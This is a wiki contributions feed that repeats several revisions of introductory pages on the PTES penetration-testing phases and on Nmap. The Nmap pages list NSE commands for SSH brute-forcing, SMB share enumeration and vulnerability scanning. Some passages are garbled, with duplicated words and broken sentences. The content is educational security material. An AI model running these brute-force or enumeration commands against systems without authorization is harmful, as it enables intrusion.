Elvis Wiki - User contributions [en]

Penetration Testing

2023-02-05T16:50:56Z

DCiklusic: /* References */

== Summary ==

The Penetration Testing Execution Standard (PTES) defines penetration testing in 7 phases. The PTES technical guidelines contain, in particular, practical suggestions for test procedures and recommendations for security tools.

== The seven Phases ==

=== Pre-engagement Interactions ===

Setting the scope is arguably one of the most important components of a penetration test. While many volumes have been written on the various tools and techniques that can be used to gain to gain access to a network, very little has been written about the subject written about the topic that precedes penetration: preparation. Preparation. Neglecting the preparatory activities can leave the penetration tester (or his company) a number of problems, such as a Expansion of the project scope, dissatisfied customers, and even legal problems. The scope of a project defines exactly what should be tested. How each aspects of testing are performed is covered in the Order Rules section. The question to ask as a customer is: Is there sensitive equipment that needs to be handled with need to be careful with when testing? For a local bank, it can be a nuisance if the online banking pages go down for a few hours. When the online banking site of a local bank goes down for a few hours, it might upset a few customers, but would not be nearly as devastating as the compromise of a credit card database.

Scope

- Which IP addresses or hosts are in scope, and which are not?

- Are exploits allowed to be used and likely to crash a service, or should we limit ourselves to just identifying possible vulnerabilities? to be detected?

- Does the customer realize that even a simple port scan can crash a server or router?

- Are social engineering attacks allowed to be carried out?

- Are there specific time windows where the tests should be performed?

These are all questions that need to be clarified with the customer in order to avoid misunderstandings. Not to be neglected is to define in writing all the necessary information that is relevant for the penetration test. Each tester must have the authorization to perform a penetration test on the predefined target. If the target does not belong to the company (e.g., the web server is hosted by a third party provider), it is important to ensure that the customer has the formal authorization from the third party to perform the penetration test.

=== Intelligence Gathering ===

Intelligence Gathering is the process of reconnoitering a target to gather as much information as possible that can be used to penetrate the target in the vulnerability assessment and exploitation phase. The more information one can this phase, the more attack vectors one can exploit in the future. Reconnaissance is achieved with the use of tools such as port scanners to gain to get a picture of what systems are on the Internet or internal network and what services are and which services are running there. Open Source Intelligence (OSINT) is a form of information gathering in which information from publicly available sources is searched sources is searched, selected and analyzed to gain actionable insights. gain.

=== Threat Modeling ===
Threat modeling is about identifying and communicating information about the threats that may can impact a particular system or network. Security threat modeling enables an IT team to understand the nature of the threats and how they may impact the network. In addition, threat modeling can be used to analyze the dangers that threats pose to applications, taking into account their potential vulnerabilities. Based on the data found during information gathering, one develops strategies to penetrate a customer's systems. For example, if the customer develops proprietary software, an attacker could disrupt the company by gaining access to the internal development systems where source code is developed and tested, and sell the company's trade secrets to a competitor.

=== Vulnerability Analysis ===
Vulnerability testing is about discovering vulnerabilities in systems and applications that can be exploited by attackers. These vulnerabilities can range from misconfiguration of hosts and services to insecure application design. . Next, pentesters begin actively discovering vulnerabilities to determine how successful exploit strategies might be. Failed exploits can crash services, trigger intrusion detection alerts, and otherwise ruin the chances of a successful exploit being. At this stage, pentesters often deploy vulnerability scanners that include a Vulnerability database. However, although vulnerability scanners are powerful tools, they cannot completely replace critical thinking, accordingly, results must be reviewed manually.

=== Exploitation ===
The exploitation phase of a penetration test is exclusively about gaining access to a system or resource bypassing security constraints. If the previous phase, vulnerability assessment, has been properly conducted. This phase should be well planned and a precision strike. The main focus is to determine the main entry point into the organization and identify high-value targets.

=== Post Exploitation ===
The purpose of the post-exploitation phase is to determine the value of the compromised
computer and to retain control of the computer for later use. If an unpatched legacy system is penetrated that is not part of a domain or otherwise networked with high-level targets, and that system is not populated with information of interest to an attacker is filled. The risk of this vulnerability is significantly lower than if access to a domain controller has been proven. The value of the computer is determined by the sensitivity of the data stored on it and the usefulness of the computer for further compromise of the network. The methods described in this phase are intended to help the auditor identify and document sensitive data, determine configuration settings, communication channels, and relationships with other network devices that can be used to gain further access to the network, and to establish one or more methods for subsequent access to the computer. For example, password hashes could be read to see if they can be used to access other systems.

=== Reporting ===
A pentester must produce a detailed report on the testing process and the vulnerabilities discovered. A penetration test report is the only tangible product of a pentest. The entire purpose of a penetration test is to identify vulnerabilities and security issues that the organization can address - and these are communicated via the report. Therefore, a penetration tester must ensure that they produce the best report possible. A good penetration test report includes a summary of the results and the approach taken, summarizes the vulnerabilities and their impact on the organization, and makes recommendations on how to fix them.

== References ==

* Georgia Weidman. Penetration Testing: A Hands-On Introduction to Hacking. No Starch Press, USA, 1st edition, 2014
* http://www.pentest-standard.org/index.php/Main_Page

[[Category:Documentation]]

Penetration Testing

2023-02-05T16:49:27Z

DCiklusic: /* Pre-engagement Interactions */

== Summary ==

The Penetration Testing Execution Standard (PTES) defines penetration testing in 7 phases. The PTES technical guidelines contain, in particular, practical suggestions for test procedures and recommendations for security tools.

== The seven Phases ==

=== Pre-engagement Interactions ===

Setting the scope is arguably one of the most important components of a penetration test. While many volumes have been written on the various tools and techniques that can be used to gain to gain access to a network, very little has been written about the subject written about the topic that precedes penetration: preparation. Preparation. Neglecting the preparatory activities can leave the penetration tester (or his company) a number of problems, such as a Expansion of the project scope, dissatisfied customers, and even legal problems. The scope of a project defines exactly what should be tested. How each aspects of testing are performed is covered in the Order Rules section. The question to ask as a customer is: Is there sensitive equipment that needs to be handled with need to be careful with when testing? For a local bank, it can be a nuisance if the online banking pages go down for a few hours. When the online banking site of a local bank goes down for a few hours, it might upset a few customers, but would not be nearly as devastating as the compromise of a credit card database.

Scope

- Which IP addresses or hosts are in scope, and which are not?

- Are exploits allowed to be used and likely to crash a service, or should we limit ourselves to just identifying possible vulnerabilities? to be detected?

- Does the customer realize that even a simple port scan can crash a server or router?

- Are social engineering attacks allowed to be carried out?

- Are there specific time windows where the tests should be performed?

These are all questions that need to be clarified with the customer in order to avoid misunderstandings. Not to be neglected is to define in writing all the necessary information that is relevant for the penetration test. Each tester must have the authorization to perform a penetration test on the predefined target. If the target does not belong to the company (e.g., the web server is hosted by a third party provider), it is important to ensure that the customer has the formal authorization from the third party to perform the penetration test.

=== Intelligence Gathering ===

Intelligence Gathering is the process of reconnoitering a target to gather as much information as possible that can be used to penetrate the target in the vulnerability assessment and exploitation phase. The more information one can this phase, the more attack vectors one can exploit in the future. Reconnaissance is achieved with the use of tools such as port scanners to gain to get a picture of what systems are on the Internet or internal network and what services are and which services are running there. Open Source Intelligence (OSINT) is a form of information gathering in which information from publicly available sources is searched sources is searched, selected and analyzed to gain actionable insights. gain.

=== Threat Modeling ===
Threat modeling is about identifying and communicating information about the threats that may can impact a particular system or network. Security threat modeling enables an IT team to understand the nature of the threats and how they may impact the network. In addition, threat modeling can be used to analyze the dangers that threats pose to applications, taking into account their potential vulnerabilities. Based on the data found during information gathering, one develops strategies to penetrate a customer's systems. For example, if the customer develops proprietary software, an attacker could disrupt the company by gaining access to the internal development systems where source code is developed and tested, and sell the company's trade secrets to a competitor.

=== Vulnerability Analysis ===
Vulnerability testing is about discovering vulnerabilities in systems and applications that can be exploited by attackers. These vulnerabilities can range from misconfiguration of hosts and services to insecure application design. . Next, pentesters begin actively discovering vulnerabilities to determine how successful exploit strategies might be. Failed exploits can crash services, trigger intrusion detection alerts, and otherwise ruin the chances of a successful exploit being. At this stage, pentesters often deploy vulnerability scanners that include a Vulnerability database. However, although vulnerability scanners are powerful tools, they cannot completely replace critical thinking, accordingly, results must be reviewed manually.

=== Exploitation ===
The exploitation phase of a penetration test is exclusively about gaining access to a system or resource bypassing security constraints. If the previous phase, vulnerability assessment, has been properly conducted. This phase should be well planned and a precision strike. The main focus is to determine the main entry point into the organization and identify high-value targets.

=== Post Exploitation ===
The purpose of the post-exploitation phase is to determine the value of the compromised
computer and to retain control of the computer for later use. If an unpatched legacy system is penetrated that is not part of a domain or otherwise networked with high-level targets, and that system is not populated with information of interest to an attacker is filled. The risk of this vulnerability is significantly lower than if access to a domain controller has been proven. The value of the computer is determined by the sensitivity of the data stored on it and the usefulness of the computer for further compromise of the network. The methods described in this phase are intended to help the auditor identify and document sensitive data, determine configuration settings, communication channels, and relationships with other network devices that can be used to gain further access to the network, and to establish one or more methods for subsequent access to the computer. For example, password hashes could be read to see if they can be used to access other systems.

=== Reporting ===
A pentester must produce a detailed report on the testing process and the vulnerabilities discovered. A penetration test report is the only tangible product of a pentest. The entire purpose of a penetration test is to identify vulnerabilities and security issues that the organization can address - and these are communicated via the report. Therefore, a penetration tester must ensure that they produce the best report possible. A good penetration test report includes a summary of the results and the approach taken, summarizes the vulnerabilities and their impact on the organization, and makes recommendations on how to fix them.

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Penetration Testing

2023-02-05T16:49:15Z

DCiklusic: /* Pre-engagement Interactions */

== Summary ==

The Penetration Testing Execution Standard (PTES) defines penetration testing in 7 phases. The PTES technical guidelines contain, in particular, practical suggestions for test procedures and recommendations for security tools.

== The seven Phases ==

=== Pre-engagement Interactions ===

Setting the scope is arguably one of the most important components of a penetration test. While many volumes have been written on the various tools and techniques that can be used to gain to gain access to a network, very little has been written about the subject written about the topic that precedes penetration: preparation. Preparation. Neglecting the preparatory activities can leave the penetration tester (or his company) a number of problems, such as a Expansion of the project scope, dissatisfied customers, and even legal problems. The scope of a project defines exactly what should be tested. How each aspects of testing are performed is covered in the Order Rules section. The question to ask as a customer is: Is there sensitive equipment that needs to be handled with need to be careful with when testing? For a local bank, it can be a nuisance if the online banking pages go down for a few hours. When the online banking site of a local bank goes down for a few hours, it might upset a few customers, but would not be nearly as devastating as the compromise of a credit card database.

Scope

- Which IP addresses or hosts are in scope, and which are not?
- Are exploits allowed to be used and likely to crash a service, or should we limit ourselves to just identifying possible vulnerabilities? to be detected?
- Does the customer realize that even a simple port scan can crash a server or router?
- Are social engineering attacks allowed to be carried out?
- Are there specific time windows where the tests should be performed?

These are all questions that need to be clarified with the customer in order to avoid misunderstandings. Not to be neglected is to define in writing all the necessary information that is relevant for the penetration test. Each tester must have the authorization to perform a penetration test on the predefined target. If the target does not belong to the company (e.g., the web server is hosted by a third party provider), it is important to ensure that the customer has the formal authorization from the third party to perform the penetration test.

=== Intelligence Gathering ===

Intelligence Gathering is the process of reconnoitering a target to gather as much information as possible that can be used to penetrate the target in the vulnerability assessment and exploitation phase. The more information one can this phase, the more attack vectors one can exploit in the future. Reconnaissance is achieved with the use of tools such as port scanners to gain to get a picture of what systems are on the Internet or internal network and what services are and which services are running there. Open Source Intelligence (OSINT) is a form of information gathering in which information from publicly available sources is searched sources is searched, selected and analyzed to gain actionable insights. gain.

=== Threat Modeling ===
Threat modeling is about identifying and communicating information about the threats that may can impact a particular system or network. Security threat modeling enables an IT team to understand the nature of the threats and how they may impact the network. In addition, threat modeling can be used to analyze the dangers that threats pose to applications, taking into account their potential vulnerabilities. Based on the data found during information gathering, one develops strategies to penetrate a customer's systems. For example, if the customer develops proprietary software, an attacker could disrupt the company by gaining access to the internal development systems where source code is developed and tested, and sell the company's trade secrets to a competitor.

=== Vulnerability Analysis ===
Vulnerability testing is about discovering vulnerabilities in systems and applications that can be exploited by attackers. These vulnerabilities can range from misconfiguration of hosts and services to insecure application design. . Next, pentesters begin actively discovering vulnerabilities to determine how successful exploit strategies might be. Failed exploits can crash services, trigger intrusion detection alerts, and otherwise ruin the chances of a successful exploit being. At this stage, pentesters often deploy vulnerability scanners that include a Vulnerability database. However, although vulnerability scanners are powerful tools, they cannot completely replace critical thinking, accordingly, results must be reviewed manually.

=== Exploitation ===
The exploitation phase of a penetration test is exclusively about gaining access to a system or resource bypassing security constraints. If the previous phase, vulnerability assessment, has been properly conducted. This phase should be well planned and a precision strike. The main focus is to determine the main entry point into the organization and identify high-value targets.

=== Post Exploitation ===
The purpose of the post-exploitation phase is to determine the value of the compromised
computer and to retain control of the computer for later use. If an unpatched legacy system is penetrated that is not part of a domain or otherwise networked with high-level targets, and that system is not populated with information of interest to an attacker is filled. The risk of this vulnerability is significantly lower than if access to a domain controller has been proven. The value of the computer is determined by the sensitivity of the data stored on it and the usefulness of the computer for further compromise of the network. The methods described in this phase are intended to help the auditor identify and document sensitive data, determine configuration settings, communication channels, and relationships with other network devices that can be used to gain further access to the network, and to establish one or more methods for subsequent access to the computer. For example, password hashes could be read to see if they can be used to access other systems.

=== Reporting ===
A pentester must produce a detailed report on the testing process and the vulnerabilities discovered. A penetration test report is the only tangible product of a pentest. The entire purpose of a penetration test is to identify vulnerabilities and security issues that the organization can address - and these are communicated via the report. Therefore, a penetration tester must ensure that they produce the best report possible. A good penetration test report includes a summary of the results and the approach taken, summarizes the vulnerabilities and their impact on the organization, and makes recommendations on how to fix them.

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Penetration Testing

2023-02-05T16:49:00Z

DCiklusic: /* Intelligence Gathering */

== Summary ==

The Penetration Testing Execution Standard (PTES) defines penetration testing in 7 phases. The PTES technical guidelines contain, in particular, practical suggestions for test procedures and recommendations for security tools.

== The seven Phases ==

=== Pre-engagement Interactions ===

Setting the scope is arguably one of the most important components of a penetration test. While many volumes have been written on the various tools and techniques that can be used to gain to gain access to a network, very little has been written about the subject written about the topic that precedes penetration: preparation. Preparation. Neglecting the preparatory activities can leave the penetration tester (or his company) a number of problems, such as a Expansion of the project scope, dissatisfied customers, and even legal problems. The scope of a project defines exactly what should be tested. How each aspects of testing are performed is covered in the Order Rules section. The question to ask as a customer is: Is there sensitive equipment that needs to be handled with need to be careful with when testing? For a local bank, it can be a nuisance if the online banking pages go down for a few hours. When the online banking site of a local bank goes down for a few hours, it might upset a few customers, but would not be nearly as devastating as the compromise of a credit card database.

Scope
- Which IP addresses or hosts are in scope, and which are not?
- Are exploits allowed to be used and likely to crash a service, or should we limit ourselves to just identifying possible vulnerabilities? to be detected?
- Does the customer realize that even a simple port scan can crash a server or router?
- Are social engineering attacks allowed to be carried out?
- Are there specific time windows where the tests should be performed?

These are all questions that need to be clarified with the customer in order to avoid misunderstandings. Not to be neglected is to define in writing all the necessary information that is relevant for the penetration test. Each tester must have the authorization to perform a penetration test on the predefined target. If the target does not belong to the company (e.g., the web server is hosted by a third party provider), it is important to ensure that the customer has the formal authorization from the third party to perform the penetration test.

=== Intelligence Gathering ===

Intelligence Gathering is the process of reconnoitering a target to gather as much information as possible that can be used to penetrate the target in the vulnerability assessment and exploitation phase. The more information one can this phase, the more attack vectors one can exploit in the future. Reconnaissance is achieved with the use of tools such as port scanners to gain to get a picture of what systems are on the Internet or internal network and what services are and which services are running there. Open Source Intelligence (OSINT) is a form of information gathering in which information from publicly available sources is searched sources is searched, selected and analyzed to gain actionable insights. gain.

=== Threat Modeling ===
Threat modeling is about identifying and communicating information about the threats that may can impact a particular system or network. Security threat modeling enables an IT team to understand the nature of the threats and how they may impact the network. In addition, threat modeling can be used to analyze the dangers that threats pose to applications, taking into account their potential vulnerabilities. Based on the data found during information gathering, one develops strategies to penetrate a customer's systems. For example, if the customer develops proprietary software, an attacker could disrupt the company by gaining access to the internal development systems where source code is developed and tested, and sell the company's trade secrets to a competitor.

=== Vulnerability Analysis ===
Vulnerability testing is about discovering vulnerabilities in systems and applications that can be exploited by attackers. These vulnerabilities can range from misconfiguration of hosts and services to insecure application design. . Next, pentesters begin actively discovering vulnerabilities to determine how successful exploit strategies might be. Failed exploits can crash services, trigger intrusion detection alerts, and otherwise ruin the chances of a successful exploit being. At this stage, pentesters often deploy vulnerability scanners that include a Vulnerability database. However, although vulnerability scanners are powerful tools, they cannot completely replace critical thinking, accordingly, results must be reviewed manually.

=== Exploitation ===
The exploitation phase of a penetration test is exclusively about gaining access to a system or resource bypassing security constraints. If the previous phase, vulnerability assessment, has been properly conducted. This phase should be well planned and a precision strike. The main focus is to determine the main entry point into the organization and identify high-value targets.

=== Post Exploitation ===
The purpose of the post-exploitation phase is to determine the value of the compromised
computer and to retain control of the computer for later use. If an unpatched legacy system is penetrated that is not part of a domain or otherwise networked with high-level targets, and that system is not populated with information of interest to an attacker is filled. The risk of this vulnerability is significantly lower than if access to a domain controller has been proven. The value of the computer is determined by the sensitivity of the data stored on it and the usefulness of the computer for further compromise of the network. The methods described in this phase are intended to help the auditor identify and document sensitive data, determine configuration settings, communication channels, and relationships with other network devices that can be used to gain further access to the network, and to establish one or more methods for subsequent access to the computer. For example, password hashes could be read to see if they can be used to access other systems.

=== Reporting ===
A pentester must produce a detailed report on the testing process and the vulnerabilities discovered. A penetration test report is the only tangible product of a pentest. The entire purpose of a penetration test is to identify vulnerabilities and security issues that the organization can address - and these are communicated via the report. Therefore, a penetration tester must ensure that they produce the best report possible. A good penetration test report includes a summary of the results and the approach taken, summarizes the vulnerabilities and their impact on the organization, and makes recommendations on how to fix them.

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Penetration Testing

2023-02-05T16:48:50Z

DCiklusic:

== Summary ==

The Penetration Testing Execution Standard (PTES) defines penetration testing in 7 phases. The PTES technical guidelines contain, in particular, practical suggestions for test procedures and recommendations for security tools.

== The seven Phases ==

=== Pre-engagement Interactions ===

Setting the scope is arguably one of the most important components of a penetration test. While many volumes have been written on the various tools and techniques that can be used to gain to gain access to a network, very little has been written about the subject written about the topic that precedes penetration: preparation. Preparation. Neglecting the preparatory activities can leave the penetration tester (or his company) a number of problems, such as a Expansion of the project scope, dissatisfied customers, and even legal problems. The scope of a project defines exactly what should be tested. How each aspects of testing are performed is covered in the Order Rules section. The question to ask as a customer is: Is there sensitive equipment that needs to be handled with need to be careful with when testing? For a local bank, it can be a nuisance if the online banking pages go down for a few hours. When the online banking site of a local bank goes down for a few hours, it might upset a few customers, but would not be nearly as devastating as the compromise of a credit card database.

Scope
- Which IP addresses or hosts are in scope, and which are not?
- Are exploits allowed to be used and likely to crash a service, or should we limit ourselves to just identifying possible vulnerabilities? to be detected?
- Does the customer realize that even a simple port scan can crash a server or router?
- Are social engineering attacks allowed to be carried out?
- Are there specific time windows where the tests should be performed?

These are all questions that need to be clarified with the customer in order to avoid misunderstandings. Not to be neglected is to define in writing all the necessary information that is relevant for the penetration test. Each tester must have the authorization to perform a penetration test on the predefined target. If the target does not belong to the company (e.g., the web server is hosted by a third party provider), it is important to ensure that the customer has the formal authorization from the third party to perform the penetration test.

=== Intelligence Gathering ===

Intelligence Gathering is the process of reconnoitering a target to gather as much information as possible that can be used to penetrate the target in the vulnerability assessment and exploitation phase. The more information one can this phase, the more attack vectors one can exploit in the future. Reconnaissance is achieved with the use of tools such as port scanners to gain to get a picture of what systems are on the Internet or internal network and what services are and which services are running there. Open Source Intelligence (OSINT) is a form of information gathering in which information from publicly available sources is searched sources is searched, selected and analyzed to gain actionable insights. gain.

=== Threat Modeling ===
Threat modeling is about identifying and communicating information about the threats that may can impact a particular system or network. Security threat modeling enables an IT team to understand the nature of the threats and how they may impact the network. In addition, threat modeling can be used to analyze the dangers that threats pose to applications, taking into account their potential vulnerabilities. Based on the data found during information gathering, one develops strategies to penetrate a customer's systems. For example, if the customer develops proprietary software, an attacker could disrupt the company by gaining access to the internal development systems where source code is developed and tested, and sell the company's trade secrets to a competitor.

=== Vulnerability Analysis ===
Vulnerability testing is about discovering vulnerabilities in systems and applications that can be exploited by attackers. These vulnerabilities can range from misconfiguration of hosts and services to insecure application design. . Next, pentesters begin actively discovering vulnerabilities to determine how successful exploit strategies might be. Failed exploits can crash services, trigger intrusion detection alerts, and otherwise ruin the chances of a successful exploit being. At this stage, pentesters often deploy vulnerability scanners that include a Vulnerability database. However, although vulnerability scanners are powerful tools, they cannot completely replace critical thinking, accordingly, results must be reviewed manually.

=== Exploitation ===
The exploitation phase of a penetration test is exclusively about gaining access to a system or resource bypassing security constraints. If the previous phase, vulnerability assessment, has been properly conducted. This phase should be well planned and a precision strike. The main focus is to determine the main entry point into the organization and identify high-value targets.

=== Post Exploitation ===
The purpose of the post-exploitation phase is to determine the value of the compromised
computer and to retain control of the computer for later use. If an unpatched legacy system is penetrated that is not part of a domain or otherwise networked with high-level targets, and that system is not populated with information of interest to an attacker is filled. The risk of this vulnerability is significantly lower than if access to a domain controller has been proven. The value of the computer is determined by the sensitivity of the data stored on it and the usefulness of the computer for further compromise of the network. The methods described in this phase are intended to help the auditor identify and document sensitive data, determine configuration settings, communication channels, and relationships with other network devices that can be used to gain further access to the network, and to establish one or more methods for subsequent access to the computer. For example, password hashes could be read to see if they can be used to access other systems.

=== Reporting ===
A pentester must produce a detailed report on the testing process and the vulnerabilities discovered. A penetration test report is the only tangible product of a pentest. The entire purpose of a penetration test is to identify vulnerabilities and security issues that the organization can address - and these are communicated via the report. Therefore, a penetration tester must ensure that they produce the best report possible. A good penetration test report includes a summary of the results and the approach taken, summarizes the vulnerabilities and their impact on the organization, and makes recommendations on how to fix them.

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Penetration Testing

2023-02-05T16:48:38Z

DCiklusic: Created page with "== Summary == The Penetration Testing Execution Standard (PTES) defines penetration testing in 7 phases. The PTES technical guidelines contain, in particular, practical suggestions for test procedures and recommendations for security tools. == Requirements == * Operating system: Ubuntu 18.04 bionic amd64 * Packages: git emacs In order to complete these steps, you must have followed Some Other Documentation before. == The seven Phases == === Pre-engagement Inte..."

== Summary ==

The Penetration Testing Execution Standard (PTES) defines penetration testing in 7 phases. The PTES technical guidelines contain, in particular, practical suggestions for test procedures and recommendations for security tools.

== Requirements ==

* Operating system: Ubuntu 18.04 bionic amd64
* Packages: git emacs

In order to complete these steps, you must have followed [[Some Other Documentation]] before.

== The seven Phases ==

=== Pre-engagement Interactions ===

Setting the scope is arguably one of the most important components of a penetration test. While many volumes have been written on the various tools and techniques that can be used to gain to gain access to a network, very little has been written about the subject written about the topic that precedes penetration: preparation. Preparation. Neglecting the preparatory activities can leave the penetration tester (or his company) a number of problems, such as a Expansion of the project scope, dissatisfied customers, and even legal problems. The scope of a project defines exactly what should be tested. How each aspects of testing are performed is covered in the Order Rules section. The question to ask as a customer is: Is there sensitive equipment that needs to be handled with need to be careful with when testing? For a local bank, it can be a nuisance if the online banking pages go down for a few hours. When the online banking site of a local bank goes down for a few hours, it might upset a few customers, but would not be nearly as devastating as the compromise of a credit card database.

Scope
- Which IP addresses or hosts are in scope, and which are not?
- Are exploits allowed to be used and likely to crash a service, or should we limit ourselves to just identifying possible vulnerabilities? to be detected?
- Does the customer realize that even a simple port scan can crash a server or router?
- Are social engineering attacks allowed to be carried out?
- Are there specific time windows where the tests should be performed?

These are all questions that need to be clarified with the customer in order to avoid misunderstandings. Not to be neglected is to define in writing all the necessary information that is relevant for the penetration test. Each tester must have the authorization to perform a penetration test on the predefined target. If the target does not belong to the company (e.g., the web server is hosted by a third party provider), it is important to ensure that the customer has the formal authorization from the third party to perform the penetration test.

=== Intelligence Gathering ===

Intelligence Gathering is the process of reconnoitering a target to gather as much information as possible that can be used to penetrate the target in the vulnerability assessment and exploitation phase. The more information one can this phase, the more attack vectors one can exploit in the future. Reconnaissance is achieved with the use of tools such as port scanners to gain to get a picture of what systems are on the Internet or internal network and what services are and which services are running there. Open Source Intelligence (OSINT) is a form of information gathering in which information from publicly available sources is searched sources is searched, selected and analyzed to gain actionable insights. gain.

=== Threat Modeling ===
Threat modeling is about identifying and communicating information about the threats that may can impact a particular system or network. Security threat modeling enables an IT team to understand the nature of the threats and how they may impact the network. In addition, threat modeling can be used to analyze the dangers that threats pose to applications, taking into account their potential vulnerabilities. Based on the data found during information gathering, one develops strategies to penetrate a customer's systems. For example, if the customer develops proprietary software, an attacker could disrupt the company by gaining access to the internal development systems where source code is developed and tested, and sell the company's trade secrets to a competitor.

=== Vulnerability Analysis ===
Vulnerability testing is about discovering vulnerabilities in systems and applications that can be exploited by attackers. These vulnerabilities can range from misconfiguration of hosts and services to insecure application design. . Next, pentesters begin actively discovering vulnerabilities to determine how successful exploit strategies might be. Failed exploits can crash services, trigger intrusion detection alerts, and otherwise ruin the chances of a successful exploit being. At this stage, pentesters often deploy vulnerability scanners that include a Vulnerability database. However, although vulnerability scanners are powerful tools, they cannot completely replace critical thinking, accordingly, results must be reviewed manually.

=== Exploitation ===
The exploitation phase of a penetration test is exclusively about gaining access to a system or resource bypassing security constraints. If the previous phase, vulnerability assessment, has been properly conducted. This phase should be well planned and a precision strike. The main focus is to determine the main entry point into the organization and identify high-value targets.

=== Post Exploitation ===
The purpose of the post-exploitation phase is to determine the value of the compromised
computer and to retain control of the computer for later use. If an unpatched legacy system is penetrated that is not part of a domain or otherwise networked with high-level targets, and that system is not populated with information of interest to an attacker is filled. The risk of this vulnerability is significantly lower than if access to a domain controller has been proven. The value of the computer is determined by the sensitivity of the data stored on it and the usefulness of the computer for further compromise of the network. The methods described in this phase are intended to help the auditor identify and document sensitive data, determine configuration settings, communication channels, and relationships with other network devices that can be used to gain further access to the network, and to establish one or more methods for subsequent access to the computer. For example, password hashes could be read to see if they can be used to access other systems.

=== Reporting ===
A pentester must produce a detailed report on the testing process and the vulnerabilities discovered. A penetration test report is the only tangible product of a pentest. The entire purpose of a penetration test is to identify vulnerabilities and security issues that the organization can address - and these are communicated via the report. Therefore, a penetration tester must ensure that they produce the best report possible. A good penetration test report includes a summary of the results and the approach taken, summarizes the vulnerabilities and their impact on the organization, and makes recommendations on how to fix them.

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Nmap

2023-01-27T19:35:18Z

DCiklusic: /* References */

== Summary ==

Nmap (Network Mapper) is a free and open-source tool for network discovery and security auditing. Nmap can be used to identify hosts and services on a computer network, thus creating a “map” of the network. It can also be used to detect open ports and services, operating systems, and even live hosts on a network.

== Description ==

Nmap uses various techniques such as IP address sweep, TCP and UDP port scans, and other methods to identify hosts and services on a network. It can also be used to detect firewalls, intrusion detection systems, and other security features. Nmap is also useful for troubleshooting network issues, as it can help identify misconfigured devices or other problems.

Nmap can be run on various operating systems, including Windows, Linux, and MacOS. It also offers a command line interface, a graphical user interface, and can be integrated into other tools and scripts.

In addition to the features mentioned above, Nmap also offers various advanced features such as:

• OS detection: Nmap can detect the operating system of a host by sending specific packets and analyzing the responses.
• Version detection: Nmap can detect the version of the services running on a host.
• Scripting Engine (NSE): NSE allows users to write and execute scripts to automate tasks and gather additional information about hosts and services on a network.
• Output formats: Nmap can output the results of a scan in various formats such as XML or plain text.
• Performance optimization: Nmap offers various options to optimize the speed and efficiency of a scan.

Nmap can be run on a single host, a range of IP addresses, or even a list of IP addresses. It can also be used to scan for hosts on a specific subnet.

Example of nmap output on a specific host:

[[File:Nmap_output_on_specific_host.png]]

== Nmap Script Engine ==

The Nmap Scripting Engine (NSE) is a powerful feature of Nmap that allows users to write scripts in Lua to automate tasks and gather additional information about hosts and services on a network. These scripts can be used to perform a wide range of tasks such as:

• Vulnerability detection: NSE scripts can be used to detect known vulnerabilities in a host or service.

• Information gathering: NSE scripts can gather additional information about a host or service, such as the type of web server running or the version of the operating system.

• Brute-forcing: NSE scripts can be used to perform brute-force attacks on services such as SSH or Telnet.

NSE scripts can be run individually or in combination with other scripts. Nmap ships with a large number of built-in scripts that can be used for various tasks. Additionally, the Nmap community has written and shared many more scripts that can be downloaded and used.

Using NSE scripts can greatly enhance the functionality of Nmap and allow for more detailed and efficient network scans.

Here are a few examples of how NSE can be used:

• Vulnerability detection: One of the most popular NSE scripts is "vulners", which can be used to detect known vulnerabilities in a host or service. This script uses a vulnerability database to check for known vulnerabilities and can be run with the command "nmap --script vulners [target]"

• Information gathering: The "http-title" script can be used to gather the title of a website. The script sends an HTTP request to the target and parses the response to extract the title. This script can be run with the command "nmap --script http-title [target]"

• Brute-forcing: The "ssh-brute" script can be used to perform a brute-force attack on an SSH service. The script tries to log in to the SSH service using a list of username and password combinations. This script can be run with the command "nmap --script ssh-brute [target]".

• Script for specific service: The "smb-enum-shares" script will enumerate the shared resources on the SMB service. This script can be run with the command "nmap --script smb-enum-shares [target]".

• Script for specific operating system: The "smb-os-discovery" script can be used to determine the operating system of a Windows host. This script can be run with the command "nmap --script smb-os-discovery [target]".

Example of usage of vulners script:

[[File:Nmap_script_vulners.png]]

== References ==
* https://nmap.org/

[[Category:Documentation]]

Nmap

2023-01-27T18:00:59Z

DCiklusic:

Nmap

2023-01-27T18:00:07Z

DCiklusic: /* Nmap Script Engine */

== Summary ==

Nmap (Network Mapper) is a free and open-source tool for network discovery and security auditing. Nmap can be used to identify hosts and services on a computer network, thus creating a “map” of the network. It can also be used to detect open ports and services, operating systems, and even live hosts on a network.

== Description ==

Nmap uses various techniques such as IP address sweep, TCP and UDP port scans, and other methods to identify hosts and services on a network. It can also be used to detect firewalls, intrusion detection systems, and other security features. Nmap is also useful for troubleshooting network issues, as it can help identify misconfigured devices or other problems.

Nmap can be run on various operating systems, including Windows, Linux, and MacOS. It also offers a command line interface, a graphical user interface, and can be integrated into other tools and scripts.

In addition to the features mentioned above, Nmap also offers various advanced features such as:

• OS detection: Nmap can detect the operating system of a host by sending specific packets and analyzing the responses.
• Version detection: Nmap can detect the version of the services running on a host.
• Scripting Engine (NSE): NSE allows users to write and execute scripts to automate tasks and gather additional information about hosts and services on a network.
• Output formats: Nmap can output the results of a scan in various formats such as XML or plain text.
• Performance optimization: Nmap offers various options to optimize the speed and efficiency of a scan.

Nmap can be run on a single host, a range of IP addresses, or even a list of IP addresses. It can also be used to scan for hosts on a specific subnet.

Example of nmap output on a specific host:

[[File:Nmap_output_on_specific_host.png]]

== Nmap Script Engine ==

The Nmap Scripting Engine (NSE) is a powerful feature of Nmap that allows users to write scripts in Lua to automate tasks and gather additional information about hosts and services on a network. These scripts can be used to perform a wide range of tasks such as:

• Vulnerability detection: NSE scripts can be used to detect known vulnerabilities in a host or service.

• Information gathering: NSE scripts can gather additional information about a host or service, such as the type of web server running or the version of the operating system.

• Brute-forcing: NSE scripts can be used to perform brute-force attacks on services such as SSH or Telnet.

NSE scripts can be run individually or in combination with other scripts. Nmap ships with a large number of built-in scripts that can be used for various tasks. Additionally, the Nmap community has written and shared many more scripts that can be downloaded and used.

Using NSE scripts can greatly enhance the functionality of Nmap and allow for more detailed and efficient network scans.

Here are a few examples of how NSE can be used:

